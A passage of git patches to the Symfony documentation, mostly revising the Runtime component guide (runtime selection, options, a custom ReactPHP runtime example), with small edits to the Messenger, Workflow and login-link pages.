+            }
+        }
+    }
+
+.. note::
+
+    The environment variable ``APP_DEBUG`` has special support to easily
+    turn on and off debugging.
+
+Creating Your Own Runtime
+-------------------------
+
+This is an advanced topic that describes the internals of the Runtime component.
+
+Using the runtime component will benefit maintainers because the bootstrap logic
+could be versioned as a part of a normal package. If the application author decides
+to use this component, the package maintainer of the Runtime class will have more
+control and can fix bugs and add features.
+
+-- note::
+
+    Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
+    are rarely updated by users, bug patches would rarely be installed.
+
+The Runtime component is designed to be totally generic and able to run any application
+outside of the global state in 6 steps:
+
+ 1. The main entry point returns a callable (A) that wraps the application
+ 2. Callable (A) is passed to ``RuntimeInterface::getResolver()``, which returns a
+    ``ResolverInterface``. This resolver returns an array with the callable (A)
+    (or something that decorates the callable (A)) at index 0, and all its resolved
+    arguments at index 1.
+ 3. The callable A is invoked with its arguments, it will return an object that
+    represents the application (B).
+ 4. That object (B) is passed to ``RuntimeInterface::getRunner()``, which returns a
+    ``RunnerInterface``: an instance that knows how to "run" the object (B).
+ 5. The ``RunnerInterface::run($objectB)`` is executed and it returns the exit status
+    code as `int`.
+ 6. The PHP engine is exited with this status code.
+
+When creating a new runtime, there are two things to consider: First, what arguments
+will the end user use? Second, what will the user's application look like?
+
+To create a runtime for ReactPHP, we see that no special arguments are typically
+required. We will use the standard arguments provided by :class:`Symfony\\Component\\Runtime\\GenericRuntime`
+by extending tha class. But a ReactPHP application will need some special logic
+to run. That logic is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+
+    use Psr\Http\Message\ServerRequestInterface;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRunner implements RunnerInterface
+    {
+        private $application;
+        private $port;
+
+        public function __construct(RequestHandlerInterface $application, int $port)
+        {
+            $this->application = $application;
+            $this->port = $port;
+        }
+
+        public function run(): int
+        {
+            $application = $this->application;
+            $loop = \React\EventLoop\Factory::create();
+
+            $server = new \React\Http\Server($loop, function (ServerRequestInterface $request) use ($application) {
+                return $application->handle($request);
+            });
+
+            $socket = new \React\Socket\Server($this->port, $loop);
+            $server->listen($socket);
+
+            $loop->run();
+
+            return 0;
+        }
+    }
+
+Now we should create a new :class:`Symfony\\Component\\Runtime\\RuntimeInterface`
+that is using our ``ReactPHPRunner``::
+
+    use Symfony\Component\Runtime\GenericRuntime;
+    use Symfony\Component\Runtime\RunnerInterface;
+
+    class ReactPHPRuntime extends GenericRuntime
+    {
+        private $port;
+
+        public function __construct(array $options)
+        {
+            $this->port = $options['port'] ?? 8080;
+            parent::__construct($options);
+        }
+
+        public function getRunner(?object $application): RunnerInterface
+        {
+            if ($application instanceof RequestHandlerInterface) {
+                return new ReactPHPRunner($application, $this->port);
+            }
+
+            return parent::getRunner($application);
+        }
+    }
+
+The end user will now be able to create front controller like::
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+
+    return function (array $context) {
+        return new Psr15Application();
+    };
+
+

From 06414b72271a50303eaf138a8bc7c50b4ab0fdc2 Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 12 Mar 2021 11:47:32 +0100
Subject: [PATCH 2008/7107] Apply suggestions from code review

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/runtime.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 760b10397a4..86e3814ee0c 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -65,7 +65,7 @@ Selecting Runtimes
 The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
 works excellent on most applications running with a webserver like Nginx and Apache,
 and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-or a custom Runtime for Swoole or Aws Lambda. This can be done by specifying the
+or a custom Runtime for Swoole or AWS Lambda. This can be done by specifying the
 Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
 ``extra.runtime.class`` in ``composer.json``.
 
@@ -82,8 +82,8 @@ Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
         }
     }
 
-Using SymfonyRuntime
---------------------
+Using the SymfonyRuntime
+------------------------
 
 The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
 to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
@@ -309,8 +309,8 @@ The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
     The environment variable ``APP_DEBUG`` has special support to easily
     turn on and off debugging.
 
-Creating Your Own Runtime
--------------------------
+Create Your Own Runtime
+-----------------------
 
 This is an advanced topic that describes the internals of the Runtime component.
 
@@ -319,7 +319,7 @@ could be versioned as a part of a normal package. If the application author deci
 to use this component, the package maintainer of the Runtime class will have more
 control and can fix bugs and add features.
 
--- note::
+.. note::
 
     Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
     are rarely updated by users, bug patches would rarely be installed.
@@ -413,5 +413,3 @@ The end user will now be able to create front controller like::
     return function (array $context) {
         return new Psr15Application();
     };
-
-

From e7bacf17fae9eee8223b24a302bd1695ffefe913 Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 16 Mar 2021 08:57:48 +0100
Subject: [PATCH 2009/7107] Apply suggestions from code review
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Co-authored-by: Ondřej Frei <37588173+freiondrej@users.noreply.github.com>
---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 86e3814ee0c..9c868bdc05b 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -41,7 +41,7 @@ the autoload files since the component includes a composer plugin. The ``autoloa
 will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
 is to take the callable and resolve the arguments (``array $context``). Then it calls
 the callable to get the application ``App\Kernel``. At last it will run the application,
-ie calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+i.e. calling ``$kernel->handle(Request::createFromGlobals())->send()``.
 
 To make a console application, the same bootstrap code would look like::
 

From 76de97372b3fde4f2472b836542649bdef30a1fe Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 5 Apr 2021 14:22:59 +0200
Subject: [PATCH 2010/7107] [#15081] Finish the new Runtime docs

---
 .doctor-rst.yaml       |   1 +
 components/runtime.rst | 287 ++++++++++++++++++++++++++---------------
 2 files changed, 182 insertions(+), 106 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 61b56614a29..388147a8281 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,3 +101,4 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '// bin/console'
diff --git a/components/runtime.rst b/components/runtime.rst
index 9c868bdc05b..ae962dd18cb 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -7,7 +7,11 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
-    Swoole etc without any changes.
+    Swoole, etc. without any changes.
+
+.. versionadded:: 5.3
+
+    The Runtime component was introduced in Symfony 5.3.
 
 Installation
 ------------
@@ -21,10 +25,10 @@ Installation
 Usage
 -----
 
-The Runtime component allows you to write front-controllers in a generic way
-and with use of configuration you may change the behavior. Let's consider the
-``public/index.php`` as an example. It will return a callable which will create
-and return the application::
+The Runtime component abstracts most bootstrapping logic as so-called
+*runtimes*, allowing you to write front-controllers in a generic way.
+For instance, the Runtime component allows Symfony's ``public/index.php``
+to look like this::
 
     <?php
     // public/index.php
@@ -36,14 +40,18 @@ and return the application::
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     };
 
-The special ``autoload_runtime.php`` is automatically created when composer dumps
-the autoload files since the component includes a composer plugin. The ``autoload_runtime.php``
-will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
-is to take the callable and resolve the arguments (``array $context``). Then it calls
-the callable to get the application ``App\Kernel``. At last it will run the application,
-i.e. calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+So how does this front-controller work? At first, the special
+``autoload_runtime.php`` is automatically created by the Composer plugin in
+the component. This file runs the following logic:
+
+#. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The callable (returned in the file) is passed to the Runtime, whose job
+   is to resolve the arguments (in this example: ``array $content``);
+#. Then, this callable is called to get the application (``App\Kernel``);
+#. At last, the Runtime is used to run the application (i.e. calling
+   ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-To make a console application, the same bootstrap code would look like::
+To make a console application, the bootstrap code would look like::
 
     #!/usr/bin/env php
     <?php
@@ -56,47 +64,59 @@ To make a console application, the same bootstrap code would look like::
 
     return function (array $context) {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+
+        // returning an "Application" makes the Runtime run a Console
+        // application instead of the HTTP Kernel
         return new Application($kernel);
     };
 
 Selecting Runtimes
 ------------------
 
-The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
-works excellent on most applications running with a webserver like Nginx and Apache,
-and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-or a custom Runtime for Swoole or AWS Lambda. This can be done by specifying the
-Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
-``extra.runtime.class`` in ``composer.json``.
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`. It
+works excellent on most applications running with a webserver using PHP-FPM like
+Nginx or Apache.
 
-.. code-block:: json
+The component also provides a :class:`Symfony\\Component\\Runtime\\GenericRuntime`,
+which uses PHP's ``$_SERVER``, ``$_POST``, ``$_GET``, ``$_FILES`` and
+``$_SESSION`` superglobals. You may also use a custom Runtime (e.g. to
+integrate with Swoole or AWS Lambda).
 
-    {
-        "require": {
-            "...": "..."
-        },
-        "extra": {
-            "runtime": {
-                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+Use the ``APP_RUNTIME`` environment variable or by specifying the
+``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
+
+.. configuration-block::
+
+    .. code-block:: json
+
+        {
+            "require": {
+                "...": "..."
+            },
+            "extra": {
+                "runtime": {
+                    "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+                }
             }
         }
-    }
 
-Using the SymfonyRuntime
-------------------------
+    .. code-block:: env
+
+        APP_RUNTIME="Symfony\\Component\\Runtime\\GenericRuntime"
 
-The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
-to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
-that prepares the arguments to the callable and one get an instance of
-:class:`Symfony\\Component\\Runtime\\RunnerInterface` to run the application.
+Using the Runtime
+-----------------
 
-The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-arguments and different applications.
+A Runtime is resposible for passing arguments into the closure and run the
+application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
+:class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
+arguments and different applications that you can use in your
+front-controllers.
 
 Resolvable Arguments
 ~~~~~~~~~~~~~~~~~~~~
 
-The closure returned from the script may have zero or more arguments.::
+The closure returned from the front-controller may have zero or more arguments::
 
     <?php
     // public/index.php
@@ -109,27 +129,32 @@ The closure returned from the script may have zero or more arguments.::
         // ...
     };
 
+The following arguments are supported by the ``SymfonyRuntime``:
 
-``:class:`Symfony\\Component\\HttpFoundation\\Request` $request``
+:class:`Symfony\\Component\\HttpFoundation\\Request`
     A request created from globals.
 
-``:class:`Symfony\\Component\\Console\\Input\\InputInterface` $input``
+:class:`Symfony\\Component\\Console\\Input\\InputInterface`
     An input to read options and arguments.
 
-``:class:`Symfony\\Component\\Console\\Output\\OutputInterface` $output``
+:class:`Symfony\\Component\\Console\\Output\\OutputInterface`
     Console output to print to the CLI with style.
 
-``:class:`Symfony\\Component\\Console\\Application` $application``
+:class:`Symfony\\Component\\Console\\Application`
     An application for creating CLI applications.
 
-``:class:`Symfony\\Component\\Command\\Command` $command``
-    For creating one line command CLI applications.
+:class:`Symfony\\Component\\Command\\Command`
+    For creating one line command CLI applications (using
+    ``Command::setCode()``).
+
+And these arguments are supported by both the ``SymfonyRuntime`` and
+``GenerGenericRuntime`` (both type and variable name are important):
 
 ``array $context``
-    This is the same as ``$_SERVER`` + ``$_ENV``
+    This is the same as ``$_SERVER`` + ``$_ENV``.
 
 ``array $argv``
-    The arguments passed to the command. Same as ``$_SERVER['argv']``
+    The arguments passed to the command (same as ``$_SERVER['argv']``).
 
 ``array $request``
     With keys ``query``, ``body``, ``files`` and ``session``.
@@ -137,9 +162,8 @@ The closure returned from the script may have zero or more arguments.::
 Resolvable Applications
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The application returned by the closure below is a Symfony Kernel. However, the
-:class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-different applications.::
+The application returned by the closure below is a Symfony Kernel. However,
+a number of different applications are supported::
 
     <?php
     // public/index.php
@@ -151,13 +175,15 @@ different applications.::
         return new Kernel('prod', false);
     };
 
-``:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface```
-    The application will be executed with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
-    just like a "standard" Symfony application.
+The ``SymfonyRuntime`` can handle these applications:
+
+:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    like a "standard" Symfony application.
 
-``:class:`Symfony\\Component\\HttpFoundation\\Response```
+:class:`Symfony\\Component\\HttpFoundation\\Response`
     The Response will be printed by
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``.::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``::
 
         <?php
         // public/index.php
@@ -169,9 +195,9 @@ different applications.::
             return new Response('Hello world');
         };
 
-``:class:`Symfony\\Component\\Console\\Command\\Command```
-    To write one command applications. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+:class:`Symfony\\Component\\Console\\Command\\Command`
+    To write single command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
 
         <?php
 
@@ -189,9 +215,9 @@ different applications.::
             return $command;
         };
 
-``:class:`Symfony\\Component\\Console\\Application```
+:class:`Symfony\\Component\\Console\\Application`
     Useful with console applications with more than one command. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
 
         <?php
 
@@ -215,9 +241,12 @@ different applications.::
             return $app;
         };
 
-``:class:`Symfony\\Component\\Runtime\\RunnerInterface```
+The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
+applications:
+
+:class:`Symfony\\Component\\Runtime\\RunnerInterface`
     The ``RuntimeInterface`` is a way to use a custom application with the
-    generic Runtime.::
+    generic Runtime::
 
         <?php
         // public/index.php
@@ -233,13 +262,12 @@ different applications.::
 
                     return 0;
                 }
-
             };
         };
 
 ``callable``
     Your "application" can also be a ``callable``. The first callable will return
-    the "application" and the second callable is the "application" itself.::
+    the "application" and the second callable is the "application" itself::
 
         <?php
         // public/index.php
@@ -258,7 +286,7 @@ different applications.::
 
 ``void``
     If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
-    everything is fine.::
+    everything is fine::
 
         <?php
 
@@ -268,13 +296,11 @@ different applications.::
             echo 'Hello world';
         };
 
-
 Using Options
 ~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-options. They can be passed to the constructor in two ways. First by specifying
-options to ``APP_RUNTIME_OPTIONS`` environment variable.::
+Some behavior of the Runtimes can be modified through runtime options. They
+can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
     <?php
 
@@ -286,8 +312,7 @@ options to ``APP_RUNTIME_OPTIONS`` environment variable.::
 
     // ...
 
-The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
-``extra.runtime.options`` in ``composer.json``.
+You can also configure ``extra.runtime.options`` in ``composer.json``:
 
 .. code-block:: json
 
@@ -304,51 +329,89 @@ The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
         }
     }
 
-.. note::
-
-    The environment variable ``APP_DEBUG`` has special support to easily
-    turn on and off debugging.
+The following options are supported by the ``SymfonyRuntime``:
+
+``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
+    To define the name of the environment the app runs in.
+``disable_dotenv`` (default: ``false``)
+    To disable looking for ``.env`` files.
+``dotenv_path`` (default: ``.env``)
+    To define the path of dot-env files.
+``use_putenv``
+    To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
+``prod_envs`` (default: ``["prod"]``)
+    To define the names of the production envs.
+``test_envs`` (default: ``["test"]``)
+    To define the names of the test envs.
+
+Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
+these options:
+
+``debug`` (default: ``APP_DEBUG`` environment variable, or ``true``)
+    Toggles displaying errors.
+``runtimes``
+    Maps "application types" to a ``GenericRuntime`` implementation that
+    knows how to deal with each of them.
+``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
+    Defines the class to use to handle PHP errors.
 
 Create Your Own Runtime
 -----------------------
 
 This is an advanced topic that describes the internals of the Runtime component.
 
-Using the runtime component will benefit maintainers because the bootstrap logic
-could be versioned as a part of a normal package. If the application author decides
-to use this component, the package maintainer of the Runtime class will have more
-control and can fix bugs and add features.
+Using the Runtime component will benefit maintainers because the bootstrap
+logic could be versioned as a part of a normal package. If the application
+author decides to use this component, the package maintainer of the Runtime
+class will have more control and can fix bugs and add features.
 
 .. note::
 
-    Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
-    are rarely updated by users, bug patches would rarely be installed.
-
-The Runtime component is designed to be totally generic and able to run any application
-outside of the global state in 6 steps:
-
- 1. The main entry point returns a callable (A) that wraps the application
- 2. Callable (A) is passed to ``RuntimeInterface::getResolver()``, which returns a
-    ``ResolverInterface``. This resolver returns an array with the callable (A)
-    (or something that decorates the callable (A)) at index 0, and all its resolved
-    arguments at index 1.
- 3. The callable A is invoked with its arguments, it will return an object that
-    represents the application (B).
- 4. That object (B) is passed to ``RuntimeInterface::getRunner()``, which returns a
-    ``RunnerInterface``: an instance that knows how to "run" the object (B).
- 5. The ``RunnerInterface::run($objectB)`` is executed and it returns the exit status
-    code as `int`.
- 6. The PHP engine is exited with this status code.
+    Before Symfony 5.3, the Symfony boostrap logic was part of a Flex recipe.
+    Since recipes are rarely updated by users, bug patches would rarely be
+    installed.
+
+The Runtime component is designed to be totally generic and able to run any
+application outside of the global state in 6 steps:
+
+#. The main entry point returns a *callable* (the "app") that wraps the application;
+#. The *app callable* is passed to ``RuntimeInterface::getResolver()``, which returns
+   a :class:`Symfony\\Component\\Runtime\\ResolverInterface`. This resolver returns
+   an array with the app callable (or something that decorates this callable) at
+   index 0 and all its resolved arguments at index 1.
+#. The *app callable* is invoked with its arguments, it will return an object that
+   represents the application.
+#. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
+   returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
+   that knows how to "run" the appliction object.
+#. The ``RunnerInterface::run(object $application)`` is called and it returns the
+   exit status code as `int`.
+#. The PHP engine is exited with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
 will the end user use? Second, what will the user's application look like?
 
-To create a runtime for ReactPHP, we see that no special arguments are typically
-required. We will use the standard arguments provided by :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-by extending tha class. But a ReactPHP application will need some special logic
-to run. That logic is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+For instance, imagine you want to create a runtime for `ReactPHP`_:
+
+**What arguments will the end user use?**
+
+For a generic ReactPHP application, there are no special arguments are
+typically required. This means that you can use the
+:class:`Symfony\\Component\\Runtime\\GenericRuntime`.
+
+**What will the user's application look like?**
+
+There is also no typical React application, so you might want to rely on
+the `PSR-15`_ interfaces for HTTP request handling.
+
+However, a ReactPHP application will need some special logic to *run*. That logic
+is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
     use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Server\RequestHandlerInterface;
+    use React\EventLoop\Factory as ReactFactory;
+    use React\Http\Server as ReactHttpServer;
+    use React\Socket\Server as ReactSocketServer;
     use Symfony\Component\Runtime\RunnerInterface;
 
     class ReactPHPRunner implements RunnerInterface
@@ -365,13 +428,18 @@ to run. That logic is added in a new class implementing :class:`Symfony\\Compone
         public function run(): int
         {
             $application = $this->application;
-            $loop = \React\EventLoop\Factory::create();
+            $loop = ReactFactory::create();
 
-            $server = new \React\Http\Server($loop, function (ServerRequestInterface $request) use ($application) {
-                return $application->handle($request);
-            });
+            // configure ReactPHP to correctly handle the PSR-15 application
+            $server = new ReactHttpServer(
+                $loop,
+                function (ServerRequestInterface $request) use ($application) {
+                    return $application->handle($request);
+                }
+            );
 
-            $socket = new \React\Socket\Server($this->port, $loop);
+            // start the ReactPHP server
+            $socket = new ReactSocketServer($this->port, $loop);
             $server->listen($socket);
 
             $loop->run();
@@ -380,8 +448,8 @@ to run. That logic is added in a new class implementing :class:`Symfony\\Compone
         }
     }
 
-Now we should create a new :class:`Symfony\\Component\\Runtime\\RuntimeInterface`
-that is using our ``ReactPHPRunner``::
+By extending the ``GenericRuntime``, you make sure that the application is
+always using this ``ReactPHPRunner``::
 
     use Symfony\Component\Runtime\GenericRuntime;
     use Symfony\Component\Runtime\RunnerInterface;
@@ -402,14 +470,21 @@ that is using our ``ReactPHPRunner``::
                 return new ReactPHPRunner($application, $this->port);
             }
 
+            // if it's not a PSR-15 application, use the GenericRuntime to
+            // run the application (see "Resolvable Applications" above)
             return parent::getRunner($application);
         }
     }
 
 The end user will now be able to create front controller like::
 
+    <?php
+
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
     return function (array $context) {
-        return new Psr15Application();
+        return new SomeCustomPsr15Application();
     };
+
+.. _ReactPHP: https://reactphp.org/
+.. _`PSR-15`: https://www.php-fig.org/psr/psr-15/

From ef5f04b38529e63c3a2916f64983b9a36a52533c Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Mon, 5 Apr 2021 18:55:04 +0200
Subject: [PATCH 2011/7107] Apply suggestions from code review

Co-authored-by: Denis Brumann <dbrumann@gmail.com>
---
 components/runtime.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index ae962dd18cb..dc745adb5c6 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -45,7 +45,7 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
-#. The callable (returned in the file) is passed to the Runtime, whose job
+#. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $content``);
 #. Then, this callable is called to get the application (``App\Kernel``);
 #. At last, the Runtime is used to run the application (i.e. calling
@@ -107,7 +107,7 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
 Using the Runtime
 -----------------
 
-A Runtime is resposible for passing arguments into the closure and run the
+A Runtime is responsible for passing arguments into the closure and run the
 application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
 :class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
 arguments and different applications that you can use in your
@@ -245,7 +245,7 @@ The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
 applications:
 
 :class:`Symfony\\Component\\Runtime\\RunnerInterface`
-    The ``RuntimeInterface`` is a way to use a custom application with the
+    The ``RunnerInterface`` is a way to use a custom application with the
     generic Runtime::
 
         <?php
@@ -395,7 +395,7 @@ For instance, imagine you want to create a runtime for `ReactPHP`_:
 
 **What arguments will the end user use?**
 
-For a generic ReactPHP application, there are no special arguments are
+For a generic ReactPHP application, no special arguments are
 typically required. This means that you can use the
 :class:`Symfony\\Component\\Runtime\\GenericRuntime`.
 

From 85c30dafb38ca72194bc2c3b0cc633df4b811f0e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 15:03:44 +0200
Subject: [PATCH 2012/7107] Fixed invalid configuration-block

---
 components/runtime.rst | 24 +++++++++---------------
 1 file changed, 9 insertions(+), 15 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index dc745adb5c6..75c84b0fe17 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -85,24 +85,18 @@ integrate with Swoole or AWS Lambda).
 Use the ``APP_RUNTIME`` environment variable or by specifying the
 ``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
 
-.. configuration-block::
-
-    .. code-block:: json
+.. code-block:: json
 
-        {
-            "require": {
-                "...": "..."
-            },
-            "extra": {
-                "runtime": {
-                    "class": "Symfony\\Component\\Runtime\\GenericRuntime"
-                }
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
             }
         }
-
-    .. code-block:: env
-
-        APP_RUNTIME="Symfony\\Component\\Runtime\\GenericRuntime"
+    }
 
 Using the Runtime
 -----------------

From f5ee47256a00b3f1544215bbd3b2633d2454baf1 Mon Sep 17 00:00:00 2001
From: Sylvain Fabre <syl.fabre@gmail.com>
Date: Fri, 16 Oct 2020 13:17:42 +0200
Subject: [PATCH 2013/7107] [Messenger] Routing & Inheritance

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 52f125a3b61..8b977fcd283 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -314,6 +314,13 @@ to multiple transports:
             ],
         ]);
 
+.. note::
+
+    If you configure routing for both a child and parent class, but rules
+    are used. E.g. if you have an ``SmsNotification`` object that extends
+    from ``Notification``, both the routing for ``Notification`` and
+    ``SmsNotification`` will be used.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 5c20fe3a94072394baec216a5d48947f010b66e1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 7 Apr 2021 16:14:13 +0200
Subject: [PATCH 2014/7107] [Messenger] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8b977fcd283..70944b9a2d0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -316,7 +316,7 @@ to multiple transports:
 
 .. note::
 
-    If you configure routing for both a child and parent class, but rules
+    If you configure routing for both a child and parent class, both rules
     are used. E.g. if you have an ``SmsNotification`` object that extends
     from ``Notification``, both the routing for ``Notification`` and
     ``SmsNotification`` will be used.

From 5a8ce041c96a52be437f4333cf36c9b0c2c716ef Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Thu, 9 Jul 2020 12:50:34 +0200
Subject: [PATCH 2015/7107] Added explaination on context in events and initial
 marking

---
 workflow.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 048ea2c003a..bd36eb49014 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -381,11 +381,36 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
+    You can avoid triggering those events by using the context::
+
+        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
+
+    .. versionadded:: 5.1
+
+        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
+    .. versionadded:: 5.2
+
+        In Symfony 5.2, the context is accessible in all events::
+
+            // $context must be an array
+            $context = ['context_key' => 'context_value'];
+            $workflow->apply($subject, $transitionName, $context);
+
+            // in an event listener
+            $context = $event->getContext(); // returns ['context']
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
+.. note::
+
+    If you initialize the marking by calling ``$workflow->getMarking($object);``,
+    then the ``workflow.[workflow_name].entered.[initial_place_name]`` event will
+    be called with the default context (``Workflow::DEFAULT_INITIAL_CONTEXT``).
+
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 

From 61c6a2efe64af747ffcb825e26fdc45d281c37e5 Mon Sep 17 00:00:00 2001
From: Andrius <andrius.ulins@gmail.com>
Date: Mon, 14 Dec 2020 00:18:28 +0200
Subject: [PATCH 2016/7107] Update login_link.rst

---
 security/login_link.rst | 82 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 82 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index b92dd694178..e43edbd7a22 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -654,3 +654,85 @@ user create this POST request (e.g. by clicking a button)::
             <button type="submit">Continue</button>
         </form>
     {% endblock %}
+
+Customizing the Success Handler
+...............................
+
